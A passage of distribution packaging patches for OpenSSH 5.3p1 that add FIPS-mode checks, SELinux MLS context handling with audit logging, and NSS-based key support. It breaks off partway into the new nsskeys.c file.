diff -up openssh-5.3p1/sshd.c.fips openssh-5.3p1/sshd.c
--- openssh-5.3p1/sshd.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/sshd.c	2009-10-02 14:12:00.000000000 +0200
@@ -76,6 +76,8 @@
 #include <openssl/bn.h>
 #include <openssl/md5.h>
 #include <openssl/rand.h>
+#include <openssl/fips.h>
+#include <fipscheck.h>
 #include "openbsd-compat/openssl-compat.h"
 
 #ifdef HAVE_SECUREWARE
@@ -1261,6 +1263,12 @@ main(int ac, char **av)
 	(void)set_auth_parameters(ac, av);
 #endif
 	__progname = ssh_get_progname(av[0]);
+
+        SSLeay_add_all_algorithms();
+        if (FIPS_mode() && !FIPSCHECK_verify(NULL, NULL)) {
+                fatal("FIPS integrity verification test failed.");
+        }
+
 	init_rng();
 
 	/* Save argv. Duplicate so setproctitle emulation doesn't clobber it */
@@ -1413,8 +1421,6 @@ main(int ac, char **av)
 	else
 		closefrom(REEXEC_DEVCRYPTO_RESERVED_FD);
 
-	SSLeay_add_all_algorithms();
-
 	/*
 	 * Force logging to stderr until we have loaded the private host
 	 * key (unless started from inetd)
@@ -1532,6 +1538,10 @@ main(int ac, char **av)
 		debug("private host key: #%d type %d %s", i, key->type,
 		    key_type(key));
 	}
+	if ((options.protocol & SSH_PROTO_1) && FIPS_mode()) {
+		logit("Disabling protocol version 1. Not allowed in the FIPS mode.");
+		options.protocol &= ~SSH_PROTO_1;
+	}
 	if ((options.protocol & SSH_PROTO_1) && !sensitive_data.have_ssh1_key) {
 		logit("Disabling protocol version 1. Could not load host key");
 		options.protocol &= ~SSH_PROTO_1;
@@ -1656,6 +1666,10 @@ main(int ac, char **av)
 	/* Initialize the random number generator. */
 	arc4random_stir();
 
+	if (FIPS_mode()) {
+		logit("FIPS mode initialized");
+	}
+
 	/* Chdir to the root directory so that the current disk can be
 	   unmounted if desired. */
 	chdir("/");
@@ -2183,6 +2197,9 @@ do_ssh2_kex(void)
 	if (options.ciphers != NULL) {
 		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
 		myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers;
+	} else if (FIPS_mode()) {
+		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
+		myproposal[PROPOSAL_ENC_ALGS_STOC] = KEX_FIPS_ENCRYPT;
 	}
 	myproposal[PROPOSAL_ENC_ALGS_CTOS] =
 	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]);
@@ -2192,6 +2209,9 @@ do_ssh2_kex(void)
 	if (options.macs != NULL) {
 		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
 		myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs;
+	} else if (FIPS_mode()) {
+		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
+		myproposal[PROPOSAL_MAC_ALGS_STOC] = KEX_FIPS_MAC;
 	}
 	if (options.compression == COMP_NONE) {
 		myproposal[PROPOSAL_COMP_ALGS_CTOS] =
diff -up openssh-5.3p1/ssh-keygen.c.fips openssh-5.3p1/ssh-keygen.c
--- openssh-5.3p1/ssh-keygen.c.fips	2009-10-02 14:12:00.000000000 +0200
+++ openssh-5.3p1/ssh-keygen.c	2009-10-02 14:12:00.000000000 +0200
@@ -21,6 +21,7 @@
 
 #include <openssl/evp.h>
 #include <openssl/pem.h>
+#include <openssl/fips.h>
 #include "openbsd-compat/openssl-compat.h"
 
 #include <errno.h>
@@ -537,7 +538,7 @@ do_fingerprint(struct passwd *pw)
 	enum fp_type fptype;
 	struct stat st;
 
-	fptype = print_bubblebabble ? SSH_FP_SHA1 : SSH_FP_MD5;
+	fptype = print_bubblebabble ? SSH_FP_SHA1 : FIPS_mode() ? SSH_FP_SHA1 : SSH_FP_MD5;
 	rep =    print_bubblebabble ? SSH_FP_BUBBLEBABBLE : SSH_FP_HEX;
 
 	if (!have_identity)
@@ -1506,14 +1507,15 @@ passphrase_again:
 	fclose(f);
 
 	if (!quiet) {
-		char *fp = key_fingerprint(public, SSH_FP_MD5, SSH_FP_HEX);
-		char *ra = key_fingerprint(public, SSH_FP_MD5,
+		int fips_on = FIPS_mode();
+		char *fp = key_fingerprint(public, fips_on ? SSH_FP_SHA1 : SSH_FP_MD5, SSH_FP_HEX);
+		char *ra = key_fingerprint(public, fips_on ? SSH_FP_SHA1 : SSH_FP_MD5,
 		    SSH_FP_RANDOMART);
 		printf("Your public key has been saved in %s.\n",
 		    identity_file);
-		printf("The key fingerprint is:\n");
+		printf("The key %sfingerprint is:\n", fips_on ? "SHA1 " : "");
 		printf("%s %s\n", fp, comment);
-		printf("The key's randomart image is:\n");
+		printf("The key's %srandomart image is:\n", fips_on ? "SHA1 " :"");
 		printf("%s\n", ra);
 		xfree(ra);
 		xfree(fp);

openssh-5.3p1-mls.patch:
 configure.ac                |    1 
 misc.c                      |   10 +
 openbsd-compat/port-linux.c |  298 ++++++++++++++++++++++++++++++++++++++------
 session.c                   |    4 
 sshd.c                      |    3 
 5 files changed, 273 insertions(+), 43 deletions(-)

--- NEW FILE openssh-5.3p1-mls.patch ---
diff -up openssh-5.3p1/configure.ac.mls openssh-5.3p1/configure.ac
--- openssh-5.3p1/configure.ac.mls	2009-10-02 14:04:31.000000000 +0200
+++ openssh-5.3p1/configure.ac	2009-10-02 14:04:31.000000000 +0200
@@ -3404,6 +3404,7 @@ AC_ARG_WITH(selinux,
 		SSHDLIBS="$SSHDLIBS $LIBSELINUX"
 		LIBS="$LIBS $LIBSELINUX"
 		AC_CHECK_FUNCS(getseuserbyname get_default_context_with_level)
+		AC_CHECK_FUNCS(setkeycreatecon)
 		LIBS="$save_LIBS"
 	fi ]
 )
diff -up openssh-5.3p1/misc.c.mls openssh-5.3p1/misc.c
--- openssh-5.3p1/misc.c.mls	2009-02-21 22:47:02.000000000 +0100
+++ openssh-5.3p1/misc.c	2009-10-02 14:04:31.000000000 +0200
@@ -423,6 +423,7 @@ char *
 colon(char *cp)
 {
 	int flag = 0;
+	int start = 1;
 
 	if (*cp == ':')		/* Leading colon is part of file name. */
 		return (0);
@@ -436,8 +437,13 @@ colon(char *cp)
 			return (cp+1);
 		if (*cp == ':' && !flag)
 			return (cp);
-		if (*cp == '/')
-			return (0);
+		if (start) {
+		/* Slash on beginning or after dots only denotes file name. */
+			if (*cp == '/')
+				return (0);
+			if (*cp != '.')
+				start = 0;
+		}
 	}
 	return (0);
 }
diff -up openssh-5.3p1/openbsd-compat/port-linux.c.mls openssh-5.3p1/openbsd-compat/port-linux.c
--- openssh-5.3p1/openbsd-compat/port-linux.c.mls	2009-10-02 14:04:31.000000000 +0200
+++ openssh-5.3p1/openbsd-compat/port-linux.c	2009-10-02 14:04:31.000000000 +0200
@@ -33,12 +33,23 @@
 #include "key.h"
 #include "hostfile.h"
 #include "auth.h"
+#include "xmalloc.h"
 
 #include <selinux/selinux.h>
 #include <selinux/flask.h>
+#include <selinux/context.h>
 #include <selinux/get_context_list.h>
+#include <selinux/get_default_type.h>
+#include <selinux/av_permissions.h>
+
+#ifdef HAVE_LINUX_AUDIT
+#include <libaudit.h>
+#include <unistd.h>
+#endif
 
 extern Authctxt *the_authctxt;
+extern int inetd_flag;
+extern int rexeced_flag;
 
 /* Wrapper around is_selinux_enabled() to log its return value once only */
 int
@@ -54,17 +65,173 @@ ssh_selinux_enabled(void)
 	return (enabled);
 }
 
+/* Send audit message */
+static int
+send_audit_message(int success, security_context_t default_context,
+		       security_context_t selected_context)
+{
+	int rc=0;
+#ifdef HAVE_LINUX_AUDIT
+	char *msg = NULL;
+	int audit_fd = audit_open();
+	security_context_t default_raw=NULL;
+	security_context_t selected_raw=NULL;
+	rc = -1;
+	if (audit_fd < 0) {
+		if (errno == EINVAL || errno == EPROTONOSUPPORT ||
+                                        errno == EAFNOSUPPORT)
+                        return 0; /* No audit support in kernel */
+		error("Error connecting to audit system.");
+		return rc;
+	}
+	if (selinux_trans_to_raw_context(default_context, &default_raw) < 0) {
+		error("Error translating default context.");
+		default_raw = NULL;
+	}
+	if (selinux_trans_to_raw_context(selected_context, &selected_raw) < 0) {
+		error("Error translating selected context.");
+		selected_raw = NULL;
+	}
+	if (asprintf(&msg, "sshd: default-context=%s selected-context=%s",
+		     default_raw ? default_raw : (default_context ? default_context: "?"),
+		     selected_context ? selected_raw : (selected_context ? selected_context :"?")) < 0) {
+		error("Error allocating memory.");
+		goto out;
+	}
+	if (audit_log_user_message(audit_fd, AUDIT_USER_ROLE_CHANGE,
+				   msg, NULL, NULL, NULL, success) <= 0) {
+		error("Error sending audit message.");
+		goto out;
+	}
+	rc = 0;
+      out:
+	free(msg);
+	freecon(default_raw);
+	freecon(selected_raw);
+	close(audit_fd);
+#endif
+	return rc;
+}
+
+static int
+mls_range_allowed(security_context_t src, security_context_t dst)
+{
+	struct av_decision avd;
+	int retval;
+	unsigned int bit = CONTEXT__CONTAINS;
+
+	debug("%s: src:%s dst:%s", __func__, src, dst);
+	retval = security_compute_av(src, dst, SECCLASS_CONTEXT, bit, &avd);
+	if (retval || ((bit & avd.allowed) != bit))
+		return 0;
+
+	return 1;
+}
+
+static int
+get_user_context(const char *sename, const char *role, const char *lvl,
+	security_context_t *sc) {
+#ifdef HAVE_GET_DEFAULT_CONTEXT_WITH_LEVEL
+	if (lvl == NULL || lvl[0] == '\0' || get_default_context_with_level(sename, lvl, NULL, sc) != 0) {
+	        /* User may have requested a level completely outside of his 
+	           allowed range. We get a context just for auditing as the
+	           range check below will certainly fail for default context. */
+#endif
+		if (get_default_context(sename, NULL, sc) != 0) {
+			*sc = NULL;
+			return -1;
+		}
+#ifdef HAVE_GET_DEFAULT_CONTEXT_WITH_LEVEL
+	}
+#endif
+	if (role != NULL && role[0]) {
+		context_t con;
+		char *type=NULL;
+		if (get_default_type(role, &type) != 0) {
+			error("get_default_type: failed to get default type for '%s'",
+				role);
+			goto out;
+		}
+		con = context_new(*sc);
+		if (!con) {
+			goto out;
+		}
+		context_role_set(con, role);
+		context_type_set(con, type);
+		freecon(*sc);
+		*sc = strdup(context_str(con));
+		context_free(con);
+		if (!*sc) 
+			return -1;
+	}
+#ifdef HAVE_GET_DEFAULT_CONTEXT_WITH_LEVEL
+	if (lvl != NULL && lvl[0]) {
+		/* verify that the requested range is obtained */
+		context_t con;
+		security_context_t obtained_raw;
+		security_context_t requested_raw;
+		con = context_new(*sc);
+		if (!con) {
+			goto out;
+		}
+		context_range_set(con, lvl);
+		if (selinux_trans_to_raw_context(*sc, &obtained_raw) < 0) {
+			context_free(con);
+			goto out;
+		}
+		if (selinux_trans_to_raw_context(context_str(con), &requested_raw) < 0) {
+			freecon(obtained_raw);
+			context_free(con);
+			goto out;
+		}
+
+		debug("get_user_context: obtained context '%s' requested context '%s'",
+			obtained_raw, requested_raw);
+		if (strcmp(obtained_raw, requested_raw)) {
+			/* set the context to the real requested one but fail */
+			freecon(requested_raw);
+			freecon(obtained_raw);
+			freecon(*sc);
+			*sc = strdup(context_str(con));
+			context_free(con);
+			return -1;
+		}
+		freecon(requested_raw);
+		freecon(obtained_raw);
+		context_free(con);
+	}
+#endif
+	return 0;
+      out:
+        freecon(*sc);
+        *sc = NULL;
+        return -1;
+}
+
 /* Return the default security context for the given username */
-static security_context_t
-ssh_selinux_getctxbyname(char *pwname)
+static int
+ssh_selinux_getctxbyname(char *pwname,
+	security_context_t *default_sc, security_context_t *user_sc)
 {
-	security_context_t sc = NULL;
 	char *sename, *lvl;
+	const char *reqlvl = NULL;
 	char *role = NULL;
-	int r = 0;
+	int r = -1;
+	context_t con = NULL;
+
+	*default_sc = NULL;
+	*user_sc = NULL;
+	if (the_authctxt) {
+		if (the_authctxt->role != NULL) {
+			char *slash;
+			role = xstrdup(the_authctxt->role);
+			if ((slash = strchr(role, '/')) != NULL) {
+				*slash = '\0';
+				reqlvl = slash + 1;
+			}
+		}
+	}
 
-	if (the_authctxt) 
-		role=the_authctxt->role;
 #ifdef HAVE_GETSEUSERBYNAME
 	if ((r=getseuserbyname(pwname, &sename, &lvl)) != 0) {
 		sename = NULL;
@@ -72,38 +239,63 @@ ssh_selinux_getctxbyname(char *pwname)
 	}
 #else
 	sename = pwname;
-	lvl = NULL;
+	lvl = "";
 #endif
 
 	if (r == 0) {
 #ifdef HAVE_GET_DEFAULT_CONTEXT_WITH_LEVEL
-		if (role != NULL && role[0])
-			r = get_default_context_with_rolelevel(sename, role, lvl, NULL, &sc);
-		else
-			r = get_default_context_with_level(sename, lvl, NULL, &sc);
+		r = get_default_context_with_level(sename, lvl, NULL, default_sc);
 #else
-		if (role != NULL && role[0])
-			r = get_default_context_with_role(sename, role, NULL, &sc);
-		else
-			r = get_default_context(sename, NULL, &sc);
+		r = get_default_context(sename, NULL, default_sc);
 #endif
 	}
 
-	if (r != 0) {
-		switch (security_getenforce()) {
-		case -1:
-			fatal("%s: ssh_selinux_getctxbyname: "
-			    "security_getenforce() failed", __func__);
-		case 0:
-			error("%s: Failed to get default SELinux security "
-			    "context for %s", __func__, pwname);
-			break;
-		default:
-			fatal("%s: Failed to get default SELinux security "
-			    "context for %s (in enforcing mode)",
-			    __func__, pwname);
+	if (r == 0) {
+		/* If launched from xinetd, we must use current level */
+		if (inetd_flag && !rexeced_flag) {
+			security_context_t sshdsc=NULL;
+
+			if (getcon_raw(&sshdsc) < 0)
+				fatal("failed to allocate security context");
+
+			if ((con=context_new(sshdsc)) == NULL)
+				fatal("failed to allocate selinux context");
+			reqlvl = context_range_get(con);
+			freecon(sshdsc);
+			if (reqlvl !=NULL && lvl != NULL && strcmp(reqlvl, lvl) == 0)
+			    /* we actually don't change level */
+			    reqlvl = "";
+
+			debug("%s: current connection level '%s'", __func__, reqlvl);
+		}
+		
+		if ((reqlvl != NULL && reqlvl[0]) || (role != NULL && role[0])) {
+			r = get_user_context(sename, role, reqlvl, user_sc);
+		
+			if (r == 0 && reqlvl != NULL && reqlvl[0]) {
+				security_context_t default_level_sc = *default_sc;
+				if (role != NULL && role[0]) {
+					if (get_user_context(sename, role, lvl, &default_level_sc) < 0)
+						default_level_sc = *default_sc;
+				}
+				/* verify that the requested range is contained in the user range */
+				if (mls_range_allowed(default_level_sc, *user_sc)) {
+					logit("permit MLS level %s (user range %s)", reqlvl, lvl);
+				} else {
+					r = -1;
+					error("deny MLS level %s (user range %s)", reqlvl, lvl);
+				}
+				if (default_level_sc != *default_sc)
+					freecon(default_level_sc);
+			}
+		} else {
+			*user_sc = *default_sc;
 		}
 	}
+	if (r != 0) {
+		error("%s: Failed to get default SELinux security "
+		    "context for %s", __func__, pwname);
+	}
 
 #ifdef HAVE_GETSEUSERBYNAME
 	if (sename != NULL)
@@ -111,14 +303,20 @@ ssh_selinux_getctxbyname(char *pwname)
 	if (lvl != NULL)
 		xfree(lvl);
 #endif
+	if (role != NULL)
+		xfree(role);
+	if (con)
+		context_free(con);
 
-	return (sc);
+	return (r);
 }
 
 /* Set the execution context to the default for the specified user */
 void
 ssh_selinux_setup_exec_context(char *pwname)
 {
+	int r = 0;
+	security_context_t default_ctx = NULL;
 	security_context_t user_ctx = NULL;
 
 	if (!ssh_selinux_enabled())
@@ -126,22 +324,45 @@ ssh_selinux_setup_exec_context(char *pwn
 
 	debug3("%s: setting execution context", __func__);
 
-	user_ctx = ssh_selinux_getctxbyname(pwname);
-	if (setexeccon(user_ctx) != 0) {
+	r = ssh_selinux_getctxbyname(pwname, &default_ctx, &user_ctx);
+	if (r >= 0) {
+		r = setexeccon(user_ctx);
+		if (r < 0) {
+			error("%s: Failed to set SELinux execution context %s for %s",
+			    __func__, user_ctx, pwname);
+		} 
+#ifdef HAVE_SETKEYCREATECON
+		else if (setkeycreatecon(user_ctx) < 0) {
+			error("%s: Failed to set SELinux keyring creation context %s for %s",
+			    __func__, user_ctx, pwname);
+		}
+#endif
+	}
+	if (user_ctx == NULL) {
+		user_ctx = default_ctx;
+	}
+	if (r < 0 || user_ctx != default_ctx) {
+		/* audit just the case when user changed a role or there was
+		   a failure */
+		send_audit_message(r >= 0, default_ctx, user_ctx);
+	}
+	if (r < 0) {
 		switch (security_getenforce()) {
 		case -1:
 			fatal("%s: security_getenforce() failed", __func__);
 		case 0:
-			error("%s: Failed to set SELinux execution "
-			    "context for %s", __func__, pwname);
+			error("%s: SELinux failure. Continuing in permissive mode.",
+			    __func__);
 			break;
 		default:
-			fatal("%s: Failed to set SELinux execution context "
-			    "for %s (in enforcing mode)", __func__, pwname);
+			fatal("%s: SELinux failure. Aborting connection.",
+			    __func__);
 		}
 	}
-	if (user_ctx != NULL)
+	if (user_ctx != NULL && user_ctx != default_ctx)
 		freecon(user_ctx);
+	if (default_ctx != NULL)
+		freecon(default_ctx);
 
 	debug3("%s: done", __func__);
 }
@@ -159,7 +380,10 @@ ssh_selinux_setup_pty(char *pwname, cons
 
 	debug3("%s: setting TTY context on %s", __func__, tty);
 
-	user_ctx = ssh_selinux_getctxbyname(pwname);
+	if (getexeccon(&user_ctx) < 0) {
+		error("%s: getexeccon: %s", __func__, strerror(errno));
+		goto out;
+	}
 
 	/* XXX: should these calls fatal() upon failure in enforcing mode? */
 
diff -up openssh-5.3p1/session.c.mls openssh-5.3p1/session.c
--- openssh-5.3p1/session.c.mls	2009-08-20 08:20:50.000000000 +0200
+++ openssh-5.3p1/session.c	2009-10-02 14:06:12.000000000 +0200
@@ -1550,10 +1550,6 @@ do_setusercontext(struct passwd *pw)
 
 	if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)
 		fatal("Failed to set uids to %u.", (u_int) pw->pw_uid);
-
-#ifdef WITH_SELINUX
-	ssh_selinux_setup_exec_context(pw->pw_name);
-#endif
 }
 
 static void
diff -up openssh-5.3p1/sshd.c.mls openssh-5.3p1/sshd.c
--- openssh-5.3p1/sshd.c.mls	2009-10-02 14:04:31.000000000 +0200
+++ openssh-5.3p1/sshd.c	2009-10-02 14:04:31.000000000 +0200
@@ -1896,6 +1896,9 @@ main(int ac, char **av)
 		restore_uid();
 	}
 #endif
+#ifdef WITH_SELINUX
+	ssh_selinux_setup_exec_context(authctxt->pw->pw_name);
+#endif
 #ifdef USE_PAM
 	if (options.use_pam) {
 		do_pam_setcred(1);

openssh-5.3p1-nss-keys.patch:
 Makefile.in  |    2 
 authfd.c     |   39 +++++++
 authfd.h     |    8 +
 configure.ac |   15 ++
 key.c        |   61 +++++++++++
 key.h        |   20 +++
 nsskeys.c    |  327 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 nsskeys.h    |   39 +++++++
 readconf.c   |   20 +++
 readconf.h   |    2 
 ssh-add.c    |  181 ++++++++++++++++++++++++++++++++
 ssh-agent.c  |  121 +++++++++++++++++++++
 ssh-dss.c    |   36 ++++++
 ssh-keygen.c |   51 ++++++++-
 ssh-rsa.c    |   42 +++++++
 ssh.c        |   28 ++++-
 16 files changed, 980 insertions(+), 12 deletions(-)

--- NEW FILE openssh-5.3p1-nss-keys.patch ---
diff -up openssh-5.3p1/authfd.c.nss-keys openssh-5.3p1/authfd.c
--- openssh-5.3p1/authfd.c.nss-keys	2006-09-01 07:38:36.000000000 +0200
+++ openssh-5.3p1/authfd.c	2009-10-02 14:09:01.000000000 +0200
@@ -626,6 +626,45 @@ ssh_update_card(AuthenticationConnection
 	return decode_reply(type);
 }
 
+int
+ssh_update_nss_key(AuthenticationConnection *auth, int add,
+    const char *tokenname, const char *keyname,
+    const char *pass, u_int life, u_int confirm)
+{
+	Buffer msg;
+	int type, constrained = (life || confirm);
+
+	if (add) {
+		type = constrained ?
+		    SSH_AGENTC_ADD_NSS_KEY_CONSTRAINED :
+		    SSH_AGENTC_ADD_NSS_KEY;
+	} else
+		type = SSH_AGENTC_REMOVE_NSS_KEY;
+
+	buffer_init(&msg);
+	buffer_put_char(&msg, type);
+	buffer_put_cstring(&msg, tokenname);
+	buffer_put_cstring(&msg, keyname);
+	buffer_put_cstring(&msg, pass);
+
+	if (constrained) {
+		if (life != 0) {
+			buffer_put_char(&msg, SSH_AGENT_CONSTRAIN_LIFETIME);
+			buffer_put_int(&msg, life);
+		}
+		if (confirm != 0)
+			buffer_put_char(&msg, SSH_AGENT_CONSTRAIN_CONFIRM);
+	}
+
+	if (ssh_request_reply(auth, &msg, &msg) == 0) {
+		buffer_free(&msg);
+		return 0;
+	}
+	type = buffer_get_char(&msg);
+	buffer_free(&msg);
+	return decode_reply(type);
+}
+
 /*
  * Removes all identities from the agent.  This call is not meant to be used
  * by normal applications.
diff -up openssh-5.3p1/authfd.h.nss-keys openssh-5.3p1/authfd.h
--- openssh-5.3p1/authfd.h.nss-keys	2006-08-05 04:39:39.000000000 +0200
+++ openssh-5.3p1/authfd.h	2009-10-02 14:09:01.000000000 +0200
@@ -49,6 +49,12 @@
 #define SSH2_AGENTC_ADD_ID_CONSTRAINED		25
 #define SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED 26
 
+/* nss */
+#define SSH_AGENTC_ADD_NSS_KEY			30
+#define SSH_AGENTC_REMOVE_NSS_KEY		31
+#define SSH_AGENTC_ADD_NSS_KEY_CONSTRAINED	32
+
+
 #define	SSH_AGENT_CONSTRAIN_LIFETIME		1
 #define	SSH_AGENT_CONSTRAIN_CONFIRM		2
 
@@ -83,6 +89,8 @@ int	 ssh_remove_all_identities(Authentic
 int	 ssh_lock_agent(AuthenticationConnection *, int, const char *);
 int	 ssh_update_card(AuthenticationConnection *, int, const char *,
     const char *, u_int, u_int);
+int	 ssh_update_nss_key(AuthenticationConnection *, int, const char *,
+    const char *, const char *, u_int, u_int);
 
 int
 ssh_decrypt_challenge(AuthenticationConnection *, Key *, BIGNUM *, u_char[16],
diff -up openssh-5.3p1/configure.ac.nss-keys openssh-5.3p1/configure.ac
--- openssh-5.3p1/configure.ac.nss-keys	2009-10-02 14:09:01.000000000 +0200
+++ openssh-5.3p1/configure.ac	2009-10-02 14:09:01.000000000 +0200
@@ -3514,6 +3514,20 @@ AC_ARG_WITH(kerberos5,
 	]
 )
 
+# Check whether user wants NSS support
+LIBNSS_MSG="no"
+AC_ARG_WITH(nss,
+	[  --with-nss   Enable NSS support],
+	[ if test "x$withval" != "xno" ; then
+		AC_DEFINE(HAVE_LIBNSS,1,[Define if you want NSS support.])
+		LIBNSS_MSG="yes"
+		CPPFLAGS="$CPPFLAGS -I/usr/include/nss3 -I/usr/include/nspr4"
+		AC_CHECK_HEADERS(pk11pub.h)
+		LIBS="$LIBS -lnss3"
+	fi
+	])
+AC_SUBST(LIBNSS)
+
 # Looking for programs, paths and files
 
 PRIVSEP_PATH=/var/empty
@@ -4240,6 +4254,7 @@ echo "              TCP Wrappers support
 echo "              MD5 password support: $MD5_MSG"
 echo "                   libedit support: $LIBEDIT_MSG"
 echo "  Solaris process contract support: $SPC_MSG"
+echo "                       NSS support: $LIBNSS_MSG"
 echo "       IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG"
 echo "           Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG"
 echo "                  BSD Auth support: $BSD_AUTH_MSG"
diff -up openssh-5.3p1/key.c.nss-keys openssh-5.3p1/key.c
--- openssh-5.3p1/key.c.nss-keys	2008-11-03 09:24:17.000000000 +0100
+++ openssh-5.3p1/key.c	2009-10-02 14:09:01.000000000 +0200
@@ -96,6 +96,54 @@ key_new(int type)
 	return k;
 }
 
+#ifdef HAVE_LIBNSS
+Key *
+key_new_nss(int type)
+{
+	Key *k = key_new(type);
+
+	k->nss = xcalloc(1, sizeof(*k->nss));
+	k->flags = KEY_FLAG_EXT | KEY_FLAG_NSS;
+
+	return k;
+}
+
+Key *
+key_new_nss_copy(int type, const Key *c)
+{
+	Key *k = key_new_nss(type);
+
+	switch (k->type) {
+		case KEY_RSA:
+			if ((BN_copy(k->rsa->n, c->rsa->n) == NULL) ||
+				(BN_copy(k->rsa->e, c->rsa->e) == NULL))
+				fatal("key_new_nss_copy: BN_copy failed");
+			break;
+		case KEY_DSA:
+			if ((BN_copy(k->dsa->p, c->rsa->p) == NULL) ||
+				(BN_copy(k->dsa->q, c->dsa->q) == NULL) ||
+				(BN_copy(k->dsa->g, c->dsa->g) == NULL) ||
+				(BN_copy(k->dsa->pub_key, c->dsa->pub_key) == NULL))
+				fatal("key_new_nss_copy: BN_copy failed");
+			break;
+	}
+		
+	k->nss->privk = SECKEY_CopyPrivateKey(c->nss->privk);
+	if (k->nss->privk == NULL)
+		fatal("key_new_nss_copy: SECKEY_CopyPrivateKey failed");
+
+	k->nss->pubk = SECKEY_CopyPublicKey(c->nss->pubk);
+	if (k->nss->pubk == NULL)
+		fatal("key_new_nss_copy: SECKEY_CopyPublicKey failed");
+	
+	if (c->nss->privk->wincx)
+		k->nss->privk->wincx = xstrdup(c->nss->privk->wincx);
+
+	return k;
+}
+#endif
+
+
 Key *
 key_new_private(int type)
 {
@@ -151,6 +199,19 @@ key_free(Key *k)
 		fatal("key_free: bad key type %d", k->type);
 		break;
 	}
+#ifdef HAVE_LIBNSS
+	if (k->flags & KEY_FLAG_NSS) {
+		if (k->nss->privk != NULL && k->nss->privk->wincx != NULL) {
+			memset(k->nss->privk->wincx, 0,
+				strlen(k->nss->privk->wincx));
+			xfree(k->nss->privk->wincx);
+			k->nss->privk->wincx = NULL;
+		}
+		SECKEY_DestroyPrivateKey(k->nss->privk);
+		SECKEY_DestroyPublicKey(k->nss->pubk);
+		xfree(k->nss);
+	}
+#endif
 	xfree(k);
 }
 
diff -up openssh-5.3p1/key.h.nss-keys openssh-5.3p1/key.h
--- openssh-5.3p1/key.h.nss-keys	2008-06-12 20:40:35.000000000 +0200
+++ openssh-5.3p1/key.h	2009-10-02 14:09:01.000000000 +0200
@@ -29,11 +29,17 @@
 #include <openssl/rsa.h>
 #include <openssl/dsa.h>
 
+#ifdef HAVE_LIBNSS
+#include <nss.h>
+#include <keyhi.h>
+#endif
+
 typedef struct Key Key;
 enum types {
 	KEY_RSA1,
 	KEY_RSA,
 	KEY_DSA,
+	KEY_NSS,
 	KEY_UNSPEC
 };
 enum fp_type {
@@ -48,16 +54,30 @@ enum fp_rep {
 
 /* key is stored in external hardware */
 #define KEY_FLAG_EXT		0x0001
+#define KEY_FLAG_NSS		0x0002
+
+#ifdef HAVE_LIBNSS
+typedef struct NSSKey NSSKey;
+struct NSSKey {
+	SECKEYPrivateKey *privk;
+	SECKEYPublicKey *pubk;
+};
+#endif
 
 struct Key {
 	int	 type;
 	int	 flags;
 	RSA	*rsa;
 	DSA	*dsa;
+#ifdef HAVE_LIBNSS
+	NSSKey  *nss;
+#endif
 };
 
 Key		*key_new(int);
 Key		*key_new_private(int);
+Key 		*key_new_nss(int);
+Key		*key_new_nss_copy(int, const Key *);
 void		 key_free(Key *);
 Key		*key_demote(const Key *);
 int		 key_equal(const Key *, const Key *);
diff -up openssh-5.3p1/Makefile.in.nss-keys openssh-5.3p1/Makefile.in
--- openssh-5.3p1/Makefile.in.nss-keys	2009-08-28 02:47:38.000000000 +0200
+++ openssh-5.3p1/Makefile.in	2009-10-02 14:09:53.000000000 +0200
@@ -71,7 +71,7 @@ LIBSSH_OBJS=acss.o authfd.o authfile.o b
 	atomicio.o key.o dispatch.o kex.o mac.o uidswap.o uuencode.o misc.o \
 	monitor_fdpass.o rijndael.o ssh-dss.o ssh-rsa.o dh.o kexdh.o \
 	kexgex.o kexdhc.o kexgexc.o scard.o msg.o progressmeter.o dns.o \
-	entropy.o scard-opensc.o gss-genr.o umac.o jpake.o schnorr.o
+	entropy.o scard-opensc.o gss-genr.o umac.o jpake.o schnorr.o nsskeys.o
 
 SSHOBJS= ssh.o readconf.o clientloop.o sshtty.o \
 	sshconnect.o sshconnect1.o sshconnect2.o mux.o \
diff -up /dev/null openssh-5.3p1/nsskeys.c
--- /dev/null	2009-09-11 09:35:58.778798825 +0200
+++ openssh-5.3p1/nsskeys.c	2009-10-02 14:09:01.000000000 +0200
@@ -0,0 +1,327 @@
+/*
+ * Copyright (c) 2001 Markus Friedl.  All rights reserved.
+ * Copyright (c) 2007 Red Hat, Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "includes.h"
+#ifdef HAVE_LIBNSS
+
+#include <sys/types.h>
+
+#include <stdarg.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <openssl/evp.h>
+
+#include <nss.h>
+#include <keyhi.h>
+#include <pk11pub.h>
+#include <cert.h>
+
+#include "xmalloc.h"
